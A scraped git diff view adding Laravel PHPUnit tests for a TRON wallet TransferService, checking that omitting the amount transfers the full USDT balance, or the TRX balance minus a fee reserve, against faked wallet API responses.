||||||
|
|
||||||
$result = app(TransferService::class)->handle('tron', self::TO, '10', 'USDT');
|
$result = app(TransferService::class)->handle('tron', self::FROM, '10', 'USDT');
|
||||||
|
|
||||||
$this->assertFalse($result['ok']);
|
$this->assertFalse($result['ok']);
|
||||||
$this->assertStringContainsString('exceeds max', $result['error']);
|
$this->assertStringContainsString('exceeds max', $result['error']);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function omits_amount_transfers_full_usdt_balance(): void
|
||||||
|
{
|
||||||
|
$this->seedFromWallet();
|
||||||
|
config(['coruna.transfer.trx_fee_reserve' => '1']);
|
||||||
|
|
||||||
|
Http::fake([
|
||||||
|
'*/wallet/triggerconstantcontract' => Http::response([
|
||||||
|
'constant_result' => [str_pad(dechex(12_500_000), 64, '0', STR_PAD_LEFT)],
|
||||||
|
], 200),
|
||||||
|
'*/wallet/triggersmartcontract' => Http::response([
|
||||||
|
'result' => ['result' => true],
|
||||||
|
'transaction' => [
|
||||||
|
'txID' => str_repeat('11', 32),
|
||||||
|
'raw_data' => ['contract' => []],
|
||||||
|
'raw_data_hex' => '0a00',
|
||||||
|
],
|
||||||
|
], 200),
|
||||||
|
'*/wallet/broadcasttransaction' => Http::response(['result' => true], 200),
|
||||||
|
]);
|
||||||
|
|
||||||
|
$result = app(TransferService::class)->handle('tron', self::FROM, null, 'USDT');
|
||||||
|
|
||||||
|
$this->assertTrue($result['ok']);
|
||||||
|
$this->assertSame('12.5', $result['amount']);
|
||||||
|
$this->assertSame('USDT', $result['asset']);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function omits_amount_transfers_trx_minus_fee_reserve(): void
|
||||||
|
{
|
||||||
|
$this->seedFromWallet();
|
||||||
|
config(['coruna.transfer.trx_fee_reserve' => '1']);
|
||||||
|
|
||||||
|
Http::fake([
|
||||||
|
'*/wallet/getaccount' => Http::response([
|
||||||
|
'balance' => 5_000_000, // 5 TRX
|
||||||
|
], 200),
|
||||||
|
'*/wallet/createtransaction' => Http::response([
|
||||||
|
'txID' => str_repeat('22', 32),
|
||||||
|
'raw_data' => ['contract' => []],
|
||||||
|
'raw_data_hex' => '0a00',
|
||||||
|
], 200),
|
||||||
|
'*/wallet/broadcasttransaction' => Http::response(['result' => true], 200),
|
||||||
|
]);
|
||||||
|
|
||||||
|
$result = app(TransferService::class)->handle('tron', self::FROM, null, 'TRX');
|
||||||
|
|
||||||
|
$this->assertTrue($result['ok']);
|
||||||
|
$this->assertSame('4', $result['amount']);
|
||||||
|
|
||||||
|
Http::assertSent(function ($request) {
|
||||||
|
if (! str_ends_with($request->url(), '/wallet/createtransaction')) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return ($request->data()['amount'] ?? null) === 4_000_000;
|
||||||
|
});
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user